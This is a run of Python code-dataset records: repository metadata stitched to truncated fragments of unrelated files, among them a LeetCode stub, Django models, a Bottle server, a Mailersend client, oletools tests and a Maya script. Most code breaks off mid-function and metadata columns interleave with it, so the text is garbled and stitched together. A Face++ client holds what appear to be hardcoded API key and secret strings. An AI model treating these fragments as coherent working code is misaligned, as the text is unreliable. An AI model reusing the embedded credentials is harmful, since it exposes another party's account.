] | 12 | 2019-05-04T04:21:27.000Z | 2022-03-02T07:06:57.000Z | Medium/48. Majority Number III/Solution.py | Zhenye-Na/LxxxCode | afd79d790d0a7495d75e6650f80adaa99bd0ff07 | [
"MIT"
] | 1 | 2019-07-24T18:43:53.000Z | 2019-07-24T18:43:53.000Z | Medium/48. Majority Number III/Solution.py | Zhenye-Na/LxxxCode | afd79d790d0a7495d75e6650f80adaa99bd0ff07 | [
"MIT"
] | 10 | 2019-07-01T04:03:04.000Z | 2022-03-09T03:57:37.000Z | """
48. Majority Number III
"""
# O(n) time
# O(n) extra space
| 18.583333 | 44 | 0.506726 | """
48. Majority Number III
"""
# O(n) time
# O(n) extra space
class Solution:
"""
@param nums: A list of integers
@param k: An integer
@return: The majority number
"""
def majorityNumber(self, nums, k):
# write your code here
limit = len(nums) / k
dict = {}
... | 0 | 0 | 0 | 355 | 0 | 0 | 0 | 0 | 23 |
5d2fb024a8e83d3340994406c5338ace00a56318 | 1,791 | py | Python | vibes/models.py | macymuhia/IP_vibes | f420caea2955ab574d7d93a2353ccfa5e5ed05d2 | [
"MIT"
] | null | null | null | vibes/models.py | macymuhia/IP_vibes | f420caea2955ab574d7d93a2353ccfa5e5ed05d2 | [
"MIT"
] | 9 | 2020-06-05T22:50:59.000Z | 2022-02-10T13:20:10.000Z | vibes/models.py | macymuhia/IP_vibes | f420caea2955ab574d7d93a2353ccfa5e5ed05d2 | [
"MIT"
] | null | null | null |
# Create your models here.
# def create_profile(sender, **kwargs):
# user = kwargs["instance"]
# if kwargs["created"]:
# user_profile = UserProfile(user=user, bio='my bio')
# user_profile.save()
# post_save.connect(create_profile, sender=User)
| 34.442308 | 103 | 0.713009 | from django.db import models
from django.contrib.auth.models import User
from django.db.models.signals import post_save
from django.dispatch import receiver
# Create your models here.
class UserProfile(models.Model):
user = models.OneToOneField(
User, related_name='profile', on_delete=models.CASCADE)
... | 0 | 263 | 0 | 1,026 | 0 | 0 | 0 | 69 | 157 |
0a2c84469f7dd1d2124a639fff298d8ba6a8bbd8 | 38,164 | py | Python | src/transformers/models/layoutlmv2/tokenization_layoutlmv2_fast.py | xu-song/transformers | bf3b555d407585144fcdd08a26bc151e8c8f05ff | [
"Apache-2.0"
] | 3 | 2021-11-22T14:00:00.000Z | 2022-02-14T16:12:13.000Z | src/transformers/models/layoutlmv2/tokenization_layoutlmv2_fast.py | xu-song/transformers | bf3b555d407585144fcdd08a26bc151e8c8f05ff | [
"Apache-2.0"
] | 1 | 2021-12-01T21:38:47.000Z | 2021-12-01T21:38:47.000Z | src/transformers/models/layoutlmv2/tokenization_layoutlmv2_fast.py | xu-song/transformers | bf3b555d407585144fcdd08a26bc151e8c8f05ff | [
"Apache-2.0"
] | 2 | 2021-02-18T03:12:51.000Z | 2021-04-16T13:16:58.000Z | # coding=utf-8
# Copyright 2021 The HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable... | 47.174289 | 132 | 0.626742 | # coding=utf-8
# Copyright 2021 The HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable... | 0 | 12,534 | 0 | 23,577 | 0 | 0 | 0 | 383 | 180 |
0cc2be9029f380cb58334409d1c247b9e8a6d659 | 1,071 | py | Python | config_example.py | KellyHwong/bronya-bot | 7c7322aa8cd739dcd9af37c195c353221b3ab7f1 | [
"MIT"
] | null | null | null | config_example.py | KellyHwong/bronya-bot | 7c7322aa8cd739dcd9af37c195c353221b3ab7f1 | [
"MIT"
] | null | null | null | config_example.py | KellyHwong/bronya-bot | 7c7322aa8cd739dcd9af37c195c353221b3ab7f1 | [
"MIT"
] | null | null | null | import os
# bot profile
BOT_NAME = ""
COMMAND_START = {'', '/', '!', '', ''}
# paths
PROJECT_BRONYA = os.path.dirname(os.path.abspath(__file__)) #
ASSETS = os.path.join(PROJECT_BRONYA, "assets")
DATA = os.path.join(PROJECT_BRONYA, "data")
# super users
SUPERUSERS = [] # e.g., 1234567890
# define gr... | 24.340909 | 71 | 0.547152 | import os
from nonebot.default_config import *
# bot profile
BOT_NAME = "布洛妮娅"
COMMAND_START = {'', '/', '!', '/', '!'}
# paths
PROJECT_BRONYA = os.path.dirname(os.path.abspath(__file__)) # 本文件所在目录
ASSETS = os.path.join(PROJECT_BRONYA, "assets")
DATA = os.path.join(PROJECT_BRONYA, "data")
# super users
... | 117 | 0 | 0 | 0 | 0 | 37 | 0 | 15 | 48 |
b383b24d7695ee83f7198c6a02d42d48db7c4110 | 378 | py | Python | test_classification.py | yas-sim/openvino_open_model_zoo_toolkit | 23b65130e7ecff96c19d9b7d74ac8407096b64fe | [
"Apache-2.0"
] | 11 | 2020-09-22T05:55:49.000Z | 2021-06-17T23:35:17.000Z | test_classification.py | yas-sim/openvino_open_model_zoo_toolkit | 23b65130e7ecff96c19d9b7d74ac8407096b64fe | [
"Apache-2.0"
] | null | null | null | test_classification.py | yas-sim/openvino_open_model_zoo_toolkit | 23b65130e7ecff96c19d9b7d74ac8407096b64fe | [
"Apache-2.0"
] | 1 | 2020-09-22T13:19:53.000Z | 2020-09-22T13:19:53.000Z | import cv2
import open_model_zoo_toolkit as omztk
omz = omztk.openvino_omz()
model = omz.imageClassifier()
img = cv2.imread('resources/car.png')
res = model.run(img)
print(res)
# Example: res = [[479, 'car wheel', 0.5016654], [817, 'sports car, sport car', 0.31316656], [436, 'beach wagon, station wagon, wagon, estate... | 34.363636 | 198 | 0.719577 | import cv2
import open_model_zoo_toolkit as omztk
omz = omztk.openvino_omz()
model = omz.imageClassifier()
img = cv2.imread('resources/car.png')
res = model.run(img)
print(res)
# Example: res = [[479, 'car wheel', 0.5016654], [817, 'sports car, sport car', 0.31316656], [436, 'beach wagon, station wagon, wagon, estate... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
b94711acefa35c5a95689bfe650fc1cfad0db15c | 618 | py | Python | week11/examples/metaclass.py | HackBulgaria/Programming-101-Python-2020-Spring | 443446028df7fe78fcdd6c37dada0b5cd8ed3c93 | [
"MIT"
] | 30 | 2020-01-22T17:22:43.000Z | 2022-01-26T08:28:57.000Z | week11/examples/metaclass.py | HackBulgaria/Programming-101-Python-2020-Spring | 443446028df7fe78fcdd6c37dada0b5cd8ed3c93 | [
"MIT"
] | 1 | 2020-01-21T19:50:47.000Z | 2020-03-18T16:18:31.000Z | week11/examples/metaclass.py | HackBulgaria/Programming-101-Python-2020-Spring | 443446028df7fe78fcdd6c37dada0b5cd8ed3c93 | [
"MIT"
] | 7 | 2019-11-28T15:59:16.000Z | 2020-12-05T08:39:02.000Z |
b = B()
b.m()
| 15.073171 | 59 | 0.587379 | from class_decorators import debugmethods
class mytype(type):
def __new__(cls, name, bases, clsdict):
def m(self):
print(self)
print('in m')
clsdict['m'] = m
clsobj = super().__new__(cls, name, bases, clsdict)
return clsobj
class mytype2(type):
def __... | 0 | 0 | 0 | 417 | 0 | 0 | 0 | 20 | 160 |
ca4d798bbea04611785a378457e19cba2d83a20b | 2,378 | py | Python | network/MySourceFiles/tests/test_talkbackbot.py | dstack4273/new-coder_tutorials | 658344fdeca6ab3957dfe6646e5ac9b75ce07c94 | [
"Zlib"
] | null | null | null | network/MySourceFiles/tests/test_talkbackbot.py | dstack4273/new-coder_tutorials | 658344fdeca6ab3957dfe6646e5ac9b75ce07c94 | [
"Zlib"
] | null | null | null | network/MySourceFiles/tests/test_talkbackbot.py | dstack4273/new-coder_tutorials | 658344fdeca6ab3957dfe6646e5ac9b75ce07c94 | [
"Zlib"
] | null | null | null |
QUOTE = "Nobody minds having what is too good for them. ~ Jane Austen"
| 34.463768 | 81 | 0.62069 | from twisted.test import proto_helpers
from twisted.trial import unittest
from talkback.bot import TalkBackBotFactory
QUOTE = "Nobody minds having what is too good for them. ~ Jane Austen"
class FakePicker(object):
"""
Always return the same quote.
"""
def __init__(self, quote):
self._quote =... | 0 | 0 | 0 | 2,141 | 0 | 0 | 0 | 52 | 113 |
b349c7b11298b71add2f551a38fd6c57bb8cfcdf | 642 | py | Python | exercise-2-templates/server.py | agdonovan98/web-programming | 210cc49943630364a2a5b1363c658a264966f807 | [
"Unlicense"
] | null | null | null | exercise-2-templates/server.py | agdonovan98/web-programming | 210cc49943630364a2a5b1363c658a264966f807 | [
"Unlicense"
] | null | null | null | exercise-2-templates/server.py | agdonovan98/web-programming | 210cc49943630364a2a5b1363c658a264966f807 | [
"Unlicense"
] | null | null | null | from bottle import run, debug
# http://localhost:8068/
debug(True)
run(host="localhost", port=8068) | 19.454545 | 46 | 0.412773 | from bottle import route, run, template, debug
# http://localhost:8068/
@route("/")
def get_index():
return "Hello!"
@route("/hello")
@route("/hello/<name>")
def get_hello(name="Santa"):
data = {
"holiday":False,
'people':[
{
"name":"Santa",
"title"... | 0 | 478 | 0 | 0 | 0 | 0 | 0 | 17 | 46 |
5afe5bfa12b0d62897f347a918c6c93f3a565284 | 5,619 | py | Python | zsync_network.py | disenone/zsync | bcd914e33a88ab505ddabb3dca7c440998bbfdb0 | [
"MIT"
] | null | null | null | zsync_network.py | disenone/zsync | bcd914e33a88ab505ddabb3dca7c440998bbfdb0 | [
"MIT"
] | null | null | null | zsync_network.py | disenone/zsync | bcd914e33a88ab505ddabb3dca7c440998bbfdb0 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
| 26.504717 | 96 | 0.559352 | # -*- coding: utf-8 -*-
import zmq
import cPickle
from zsync_logger import MYLOGGER as logging
from collections import deque
import zhelpers
import time
class RpcCaller(object):
def __init__(self, transceiver, sock, funcName, identity=None):
self.transceiver = transceiver
self.sock = sock
... | 0 | 0 | 0 | 5,347 | 0 | 0 | 0 | -3 | 248 |
5ce30781b8e14bb52e953842fdc800ce3dad1397 | 1,211 | py | Python | tests/test_ld.py | kateya/clade | f2c091be8055156ab3e6ce6b8f855c4b01d2b6f3 | [
"Apache-2.0"
] | 11 | 2018-10-15T08:46:00.000Z | 2022-02-14T14:03:15.000Z | tests/test_ld.py | kateya/clade | f2c091be8055156ab3e6ce6b8f855c4b01d2b6f3 | [
"Apache-2.0"
] | 136 | 2018-08-07T11:11:29.000Z | 2022-03-31T19:02:21.000Z | tests/test_ld.py | kateya/clade | f2c091be8055156ab3e6ce6b8f855c4b01d2b6f3 | [
"Apache-2.0"
] | 6 | 2018-11-09T12:52:39.000Z | 2022-02-19T20:34:25.000Z | # Copyright (c) 2018 ISP RAS (http://www.ispras.ru)
# Ivannikov Institute for System Programming of the Russian Academy of Sciences
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# htt... | 31.051282 | 79 | 0.689513 | # Copyright (c) 2018 ISP RAS (http://www.ispras.ru)
# Ivannikov Institute for System Programming of the Russian Academy of Sciences
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# htt... | 0 | 0 | 0 | 0 | 0 | 473 | 0 | -10 | 69 |
acf59c7529ebaf9b43006db311dd17abf02180e3 | 338 | py | Python | week04/myproject/rent/admin.py | fuengfa/CS459 | cf8b8dcdb94ebcb894551174e5223b857425e1f6 | [
"BSD-2-Clause"
] | null | null | null | week04/myproject/rent/admin.py | fuengfa/CS459 | cf8b8dcdb94ebcb894551174e5223b857425e1f6 | [
"BSD-2-Clause"
] | null | null | null | week04/myproject/rent/admin.py | fuengfa/CS459 | cf8b8dcdb94ebcb894551174e5223b857425e1f6 | [
"BSD-2-Clause"
] | null | null | null | from django.contrib import admin
from rent.models import Rent, Car
# Register your models here.
admin.site.register(Rent,RentAdmin)
admin.site.register(Car,CarAdmin)
| 22.533333 | 49 | 0.789941 | from django.contrib import admin
from rent.models import Rent,Car
# Register your models here.
class RentAdmin(admin.ModelAdmin):
list_display=[f.name for f in Rent._meta.fields]
admin.site.register(Rent,RentAdmin)
class CarAdmin(admin.ModelAdmin):
list_display=[f.name for f in Car._meta.fields]
admin.site.regist... | 0 | 0 | 0 | 124 | 0 | 0 | 0 | -1 | 46 |
92152b17b6a5b1ccdcde6fa9a4cc1a8a589edfda | 3,205 | py | Python | mailersend/webhooks/__init__.py | mtthidoteu/mailersend-python | af9991847a5f4894a88037bc0778217611621a9f | [
"MIT"
] | 8 | 2020-12-18T10:18:27.000Z | 2022-02-24T07:43:27.000Z | mailersend/webhooks/__init__.py | mtthidoteu/mailersend-python | af9991847a5f4894a88037bc0778217611621a9f | [
"MIT"
] | 14 | 2021-02-02T09:07:58.000Z | 2022-03-17T10:35:03.000Z | mailersend/webhooks/__init__.py | mtthidoteu/mailersend-python | af9991847a5f4894a88037bc0778217611621a9f | [
"MIT"
] | 7 | 2021-04-09T12:34:00.000Z | 2022-02-04T15:06:35.000Z | """
Handles /webhooks endpoint
Doc: https://developers.mailersend.com/api/v1/webhooks.html
"""
data = {}
| 23.566176 | 82 | 0.55975 | """
Handles /webhooks endpoint
Doc: https://developers.mailersend.com/api/v1/webhooks.html
"""
import requests
from mailersend.base import base
data = {}
class NewWebhook(base.NewAPIClient):
"""
Instantiates the /webhooks endpoint object
"""
def __init__(self):
"""
NewWebhook constr... | 0 | 0 | 0 | 3,025 | 0 | 0 | 0 | 5 | 68 |
4a378a2798c29cc35bf9d04f4078a28eb79b8531 | 1,184 | py | Python | invenio_records_resources/services/records/links.py | inveniosoftware/invenio-resources | f1fb9a849d03af1d6ec4cddfc4e140a06788783b | [
"MIT"
] | null | null | null | invenio_records_resources/services/records/links.py | inveniosoftware/invenio-resources | f1fb9a849d03af1d6ec4cddfc4e140a06788783b | [
"MIT"
] | 19 | 2020-05-18T12:04:54.000Z | 2020-07-13T06:19:27.000Z | invenio_records_resources/services/records/links.py | inveniosoftware/invenio-resources | f1fb9a849d03af1d6ec4cddfc4e140a06788783b | [
"MIT"
] | 5 | 2020-04-28T09:07:43.000Z | 2020-07-01T14:43:01.000Z | # -*- coding: utf-8 -*-
#
# Copyright (C) 2020-2021 CERN.
# Copyright (C) 2020-2021 Northwestern University.
#
# Flask-Resources is free software; you can redistribute it and/or modify it
# under the terms of the MIT License; see LICENSE file for more details.
"""Utility for rendering URI template links."""
from ..ba... | 28.190476 | 76 | 0.591216 | # -*- coding: utf-8 -*-
#
# Copyright (C) 2020-2021 CERN.
# Copyright (C) 2020-2021 Northwestern University.
#
# Flask-Resources is free software; you can redistribute it and/or modify it
# under the terms of the MIT License; see LICENSE file for more details.
"""Utility for rendering URI template links."""
from ..ba... | 0 | 116 | 0 | 75 | 0 | 0 | 0 | 0 | 23 |
b99da5339d7812793a5063a3f3c797bca067a632 | 6,421 | py | Python | gui/views/ui/Motors_widget.py | Saldenisov/pyconlyse | 1de301b4a4c15ee0bd19034aa8d5da1beacfd124 | [
"MIT"
] | null | null | null | gui/views/ui/Motors_widget.py | Saldenisov/pyconlyse | 1de301b4a4c15ee0bd19034aa8d5da1beacfd124 | [
"MIT"
] | null | null | null | gui/views/ui/Motors_widget.py | Saldenisov/pyconlyse | 1de301b4a4c15ee0bd19034aa8d5da1beacfd124 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'Motors_widget.ui'
#
# Created by: PyQt5 UI code generator 5.13.0
#
# WARNING! All changes made in this file will be lost!
| 54.880342 | 100 | 0.732752 | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'Motors_widget.ui'
#
# Created by: PyQt5 UI code generator 5.13.0
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_StepMotorsWidgetWindow(object):
def setupUi(self, stepmotor... | 0 | 0 | 0 | 6,151 | 0 | 0 | 0 | 21 | 46 |
6f989f580d5cef746641d09f4611e8bccd59dbca | 1,106 | py | Python | faceutils/faceplusplus.py | CelineWang1027/PSGAN | 33f246c8b4cf616929c01963476eb0d3f9d57132 | [
"MIT"
] | 570 | 2020-03-19T17:09:12.000Z | 2022-03-31T16:54:27.000Z | faceutils/faceplusplus.py | CelineWang1027/PSGAN | 33f246c8b4cf616929c01963476eb0d3f9d57132 | [
"MIT"
] | 35 | 2020-03-24T05:25:05.000Z | 2022-02-27T06:48:08.000Z | faceutils/faceplusplus.py | CelineWang1027/PSGAN | 33f246c8b4cf616929c01963476eb0d3f9d57132 | [
"MIT"
] | 112 | 2020-03-20T08:00:43.000Z | 2022-03-03T03:35:55.000Z | #!/usr/bin/python
# -*- encoding: utf-8 -*-
key = "-fd9YqPnrLnmugQGAhQoimCkQd0t8N8L"
secret = "0GLyRIHDnrjKSlDuflLPO8a6U32hyDUy"
beautify.url = 'https://api-cn.faceplusplus.com/facepp/v2/beautify'
rank.url = 'https://api-cn.faceplusplus.com/facepp/v3/detect'
| 25.136364 | 70 | 0.638336 | #!/usr/bin/python
# -*- encoding: utf-8 -*-
from io import BytesIO
import time
import base64
import json
import requests
key = "-fd9YqPnrLnmugQGAhQoimCkQd0t8N8L"
secret = "0GLyRIHDnrjKSlDuflLPO8a6U32hyDUy"
def encode(image: 'PIL.Image') -> str:
with BytesIO() as output_buf:
image.save(output_buf, format... | 0 | 0 | 0 | 0 | 0 | 694 | 0 | -33 | 180 |
8c32ae202dcab0d85ad0396bf18b6333f947a38f | 4,221 | py | Python | fynance/features/roll_functions.py | ArthurBernard/Fynance | efd9a2e6f8eddcff017d828972236312f6f24084 | [
"MIT"
] | 19 | 2018-12-13T18:52:51.000Z | 2021-09-03T00:33:47.000Z | fynance/features/roll_functions.py | ArthurBernard/Fynance | efd9a2e6f8eddcff017d828972236312f6f24084 | [
"MIT"
] | null | null | null | fynance/features/roll_functions.py | ArthurBernard/Fynance | efd9a2e6f8eddcff017d828972236312f6f24084 | [
"MIT"
] | 6 | 2019-05-31T16:51:51.000Z | 2021-07-29T21:31:25.000Z | #!/usr/bin/env python3
# coding: utf-8
# @Author: ArthurBernard
# @Email: arthur.bernard.92@gmail.com
# @Date: 2020-09-18 21:15:59
# @Last modified by: ArthurBernard
# @Last modified time: 2020-09-18 22:21:22
""" Rolling functions. """
# Built-in packages
# Third party packages
# Local packages
__all__ = ["roll_mi... | 27.057692 | 79 | 0.49538 | #!/usr/bin/env python3
# coding: utf-8
# @Author: ArthurBernard
# @Email: arthur.bernard.92@gmail.com
# @Date: 2020-09-18 21:15:59
# @Last modified by: ArthurBernard
# @Last modified time: 2020-09-18 22:21:22
""" Rolling functions. """
# Built-in packages
# Third party packages
import numpy as np
# Local packages
f... | 0 | 3,198 | 0 | 0 | 0 | 238 | 0 | 45 | 158 |
3386462628a718e28730883b2a94c009a498da4c | 7,002 | py | Python | tests/msodde/test_basic.py | InQuest/oletools | e9dca546b053f7c7a8be921255a7bc0361e22425 | [
"MIT",
"Unlicense"
] | null | null | null | tests/msodde/test_basic.py | InQuest/oletools | e9dca546b053f7c7a8be921255a7bc0361e22425 | [
"MIT",
"Unlicense"
] | null | null | null | tests/msodde/test_basic.py | InQuest/oletools | e9dca546b053f7c7a8be921255a7bc0361e22425 | [
"MIT",
"Unlicense"
] | 2 | 2021-04-26T00:28:41.000Z | 2021-08-01T16:18:21.000Z | """ Test some basic behaviour of msodde.py
Ensure that
- doc and docx are read without error
- garbage returns error return status
- dde-links are found where appropriate
"""
from __future__ import print_function
import unittest
if __name__ == '__main__':
unittest.main()
| 41.928144 | 92 | 0.596829 | """ Test some basic behaviour of msodde.py
Ensure that
- doc and docx are read without error
- garbage returns error return status
- dde-links are found where appropriate
"""
from __future__ import print_function
import unittest
from oletools import msodde
from tests.test_utils import DATA_BASE_DIR as BASE_DIR
impor... | 0 | 147 | 0 | 6,376 | 0 | 0 | 0 | 40 | 156 |
7060640169cf70472f35a8527d67430e9373a503 | 4,873 | py | Python | Batch_Change_Place2D_GUI.py | AWACC2020/miscellaneous-scripts-for-Autodesk-Maya | 7995c63a94e2f4508d16b1383296542530afb732 | [
"MIT"
] | null | null | null | Batch_Change_Place2D_GUI.py | AWACC2020/miscellaneous-scripts-for-Autodesk-Maya | 7995c63a94e2f4508d16b1383296542530afb732 | [
"MIT"
] | null | null | null | Batch_Change_Place2D_GUI.py | AWACC2020/miscellaneous-scripts-for-Autodesk-Maya | 7995c63a94e2f4508d16b1383296542530afb732 | [
"MIT"
] | null | null | null | # -!- coding: utf-8 -!-
# Author : AWACS
# Time : 2020/06/12
# ------------------------------------
""" batch change place2dTexture Node for texture in Hypershade Editor,
if you think the default command that come with maya:
---(hold middle mouse button + Ctrl key ,and drag a place2dTexture to the texture... | 39.298387 | 112 | 0.672071 | # -!- coding: utf-8 -!-
# Author : AWACS
# Time : 2020/06/12
# ------------------------------------
""" batch change place2dTexture Node for texture in Hypershade Editor,
if you think the default command that come with maya:
---(hold middle mouse button + Ctrl key ,and drag a place2dTexture to the texture... | 525 | 0 | 0 | 0 | 0 | 3,357 | 0 | 0 | 125 |
ef30c02cef9cdc5224e56c8c64dd5d8af9b69c68 | 918 | py | Python | Duong/AirTop.py | nhatduong01/MathModelAss | 0dc288c55de00ab60c9aa71b8d28ec66e7db1584 | [
"Unlicense"
] | null | null | null | Duong/AirTop.py | nhatduong01/MathModelAss | 0dc288c55de00ab60c9aa71b8d28ec66e7db1584 | [
"Unlicense"
] | null | null | null | Duong/AirTop.py | nhatduong01/MathModelAss | 0dc288c55de00ab60c9aa71b8d28ec66e7db1584 | [
"Unlicense"
] | null | null | null |
U_scr = 0.5
K_scr = 40
T_air = 298.15
T_top = 303.15
g = 9.8
p_air = air_density(T_air)
p_top = air_density(T_top)
p_mean_air = (p_air + p_top)/2
input_tuple = (U_scr, K_scr, T_air, T_top, g, p_mean_air, p_air, p_top)
# The tuple order is U_ src, K_Scr , T_air, T_top, gravitational coefficient,p_mean_air, ... | 30.6 | 118 | 0.6939 | def air_density(temperature):
return 101325/(287*temperature)
U_scr = 0.5
K_scr = 40
T_air = 298.15
T_top = 303.15
g = 9.8
p_air = air_density(T_air)
p_top = air_density(T_top)
p_mean_air = (p_air + p_top)/2
input_tuple = (U_scr, K_scr, T_air, T_top, g, p_mean_air, p_air, p_top)
# The tuple order is ... | 0 | 0 | 0 | 0 | 0 | 449 | 0 | 0 | 73 |
76dfcc447d4f671cd6308e8514ab4ced63226fac | 1,778 | py | Python | scripts/db_update/update_04a_to_05.py | rhinoman/wikifeat | 1fc2c0c40fb412e64d60224a20ffda646c25eddc | [
"BSD-3-Clause"
] | 118 | 2015-08-06T15:44:22.000Z | 2022-03-27T22:00:19.000Z | scripts/db_update/update_04a_to_05.py | rhinoman/wikifeat | 1fc2c0c40fb412e64d60224a20ffda646c25eddc | [
"BSD-3-Clause"
] | 62 | 2015-08-05T02:22:09.000Z | 2020-07-25T15:12:51.000Z | scripts/db_update/update_04a_to_05.py | rhinoman/wikifeat | 1fc2c0c40fb412e64d60224a20ffda646c25eddc | [
"BSD-3-Clause"
] | 9 | 2015-11-05T00:30:40.000Z | 2020-03-11T17:27:43.000Z | #!/usr/bin/env python3
"""
Update Wikifeat couchdb databases from 0.4.0a to 0.5.0
Note: Requires python3
Changes:
1. Added getImageFileIndex view to wiki design documents
"""
import json
import common
wiki_ddoc = 'wikit'
getImageFileIndex = dict()
getImageFileIndex['map'] = """
function(doc){
... | 26.939394 | 78 | 0.683352 | #!/usr/bin/env python3
"""
Update Wikifeat couchdb databases from 0.4.0a to 0.5.0
Note: Requires python3
Changes:
1. Added getImageFileIndex view to wiki design documents
"""
import json
import common
import sys
wiki_ddoc = 'wikit'
getImageFileIndex = dict()
getImageFileIndex['map'] = """
functio... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | -11 | 22 |
67155589e90f5a5efbcc8ba552364bbd06fdd1da | 4,244 | py | Python | demo_binary_logistic_regression.py | JyotinderSingh/TinyFlow-Deep-Learning-Framework | 1a57f273d05cf1ac940da61fa4713c5265b4c46d | [
"MIT"
] | null | null | null | demo_binary_logistic_regression.py | JyotinderSingh/TinyFlow-Deep-Learning-Framework | 1a57f273d05cf1ac940da61fa4713c5265b4c46d | [
"MIT"
] | 1 | 2020-07-05T08:10:16.000Z | 2020-07-05T13:53:27.000Z | demo_binary_logistic_regression.py | JyotinderSingh/TinyFlow-Deep-Learning-Framework | 1a57f273d05cf1ac940da61fa4713c5265b4c46d | [
"MIT"
] | 1 | 2020-05-12T15:27:00.000Z | 2020-05-12T15:27:00.000Z | # Binary Logistic Regression Demo
import numpy as np
from TinyFlow.Datasets import spiral_data
from TinyFlow.Metrics import model_accuracy_sigmoid
from TinyFlow.Layers import Layer_Dense
from TinyFlow.Activations import Activation_ReLU, Activation_Sigmoid
from TinyFlow.Loss import Loss_BinaryCrossEntropy
from TinyFlow.... | 33.68254 | 180 | 0.761074 | # Binary Logistic Regression Demo
import numpy as np
from TinyFlow.Datasets import spiral_data
from TinyFlow.Metrics import model_accuracy_sigmoid
from TinyFlow.Layers import Layer_Dense
from TinyFlow.Activations import Activation_ReLU, Activation_Sigmoid
from TinyFlow.Loss import Loss_BinaryCrossEntropy
from TinyFlow.... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
122ec9d4f375db1141b39b38f4d2b9ed772a0817 | 5,163 | py | Python | models/imagenet/fbnet_v2.py | a1004123217/pytorch-mobile | 97974af3259a2073efbc334d57841efbd3eaadfb | [
"MIT"
] | null | null | null | models/imagenet/fbnet_v2.py | a1004123217/pytorch-mobile | 97974af3259a2073efbc334d57841efbd3eaadfb | [
"MIT"
] | null | null | null | models/imagenet/fbnet_v2.py | a1004123217/pytorch-mobile | 97974af3259a2073efbc334d57841efbd3eaadfb | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
"""
FBNet classification models
Example code to create the model:
from mobile_cv.model_zoo.models.fbnet_v2 import fbnet
model = fbnet("fbnet_cse", pretrained=True)
model.eval()
Full example code is available at ... | 29.843931 | 83 | 0.675576 | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
"""
FBNet classification models
Example code to create the model:
from mobile_cv.model_zoo.models.fbnet_v2 import fbnet
model = fbnet("fbnet_cse", pretrained=True)
model.eval()
Full example code is available at ... | 0 | 50 | 0 | 1,300 | 0 | 1,536 | 0 | 118 | 273 |
1531d0b47665f5afed6b70413c566b13a32964a5 | 1,029 | py | Python | format_dataset/prepare_train_image.py | Srinjoycode/Binary-Segmentation-with-Spatial-Attention | 851008319eb8f6a351eccd4698b29a4335c1cf2a | [
"MIT"
] | null | null | null | format_dataset/prepare_train_image.py | Srinjoycode/Binary-Segmentation-with-Spatial-Attention | 851008319eb8f6a351eccd4698b29a4335c1cf2a | [
"MIT"
] | null | null | null | format_dataset/prepare_train_image.py | Srinjoycode/Binary-Segmentation-with-Spatial-Attention | 851008319eb8f6a351eccd4698b29a4335c1cf2a | [
"MIT"
] | null | null | null | """
Author: @ayushmankumar7
Paste this file (prepare_train_mask.py) in "leftImg8bit_trainvaltest/leftImg8bit".
There are 3 folder in this directory - test, train, val.
Paste the file inside the folder containing the 3 folders.
In Command Prompt or Terminal :
python prepare_train_image.py
Link for th... | 22.866667 | 101 | 0.664723 | """
Author: @ayushmankumar7
Paste this file (prepare_train_mask.py) in "leftImg8bit_trainvaltest/leftImg8bit".
There are 3 folder in this directory - test, train, val.
Paste the file inside the folder containing the 3 folders.
In Command Prompt or Terminal :
python prepare_train_image.py
Link for th... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | -3 | 23 |
523fb495858e870283566cb905b011d71bc3ecd8 | 902 | py | Python | driver/tests.py | toelapiut/uber-pool | 94354982e65ef379f0bd9bc6e2268038d823bd6e | [
"MIT"
] | null | null | null | driver/tests.py | toelapiut/uber-pool | 94354982e65ef379f0bd9bc6e2268038d823bd6e | [
"MIT"
] | 6 | 2020-06-05T17:47:14.000Z | 2021-09-07T23:49:07.000Z | driver/tests.py | toelapiut/uber-pool | 94354982e65ef379f0bd9bc6e2268038d823bd6e | [
"MIT"
] | null | null | null | # Create your tests here.
| 32.214286 | 71 | 0.706208 | from django.test import TestCase
from .models import *
from django.contrib.auth.models import User
# Create your tests here.
class DriverRiderTest(TestCase):
def setUp(self):
user=User.objects.get(id).all()
self.driver_rider = Driver_Or_Rider(user_id=user, selection=1)
# test for checking ins... | 0 | 0 | 0 | 753 | 0 | 0 | 0 | 33 | 89 |
f87a2cdc73539bf080b32360d07d64f6c3b9361d | 3,502 | py | Python | .leetcode/653.two-sum-iv-input-is-a-bst.py | KuiyuanFu/PythonLeetCode | 8962df2fa838eb7ae48fa59de272ba55a89756d8 | [
"MIT"
] | null | null | null | .leetcode/653.two-sum-iv-input-is-a-bst.py | KuiyuanFu/PythonLeetCode | 8962df2fa838eb7ae48fa59de272ba55a89756d8 | [
"MIT"
] | null | null | null | .leetcode/653.two-sum-iv-input-is-a-bst.py | KuiyuanFu/PythonLeetCode | 8962df2fa838eb7ae48fa59de272ba55a89756d8 | [
"MIT"
] | null | null | null | # @lc app=leetcode id=653 lang=python3
#
# [653] Two Sum IV - Input is a BST
#
# https://leetcode.com/problems/two-sum-iv-input-is-a-bst/description/
#
# algorithms
# Easy (57.56%)
# Likes: 2752
# Dislikes: 175
# Total Accepted: 248.7K
# Total Submissions: 430.4K
# Testcase Example: '[5,3,6,2,4,null,7]\n9'
#
# G... | 20.6 | 79 | 0.538835 | # @lc app=leetcode id=653 lang=python3
#
# [653] Two Sum IV - Input is a BST
#
# https://leetcode.com/problems/two-sum-iv-input-is-a-bst/description/
#
# algorithms
# Easy (57.56%)
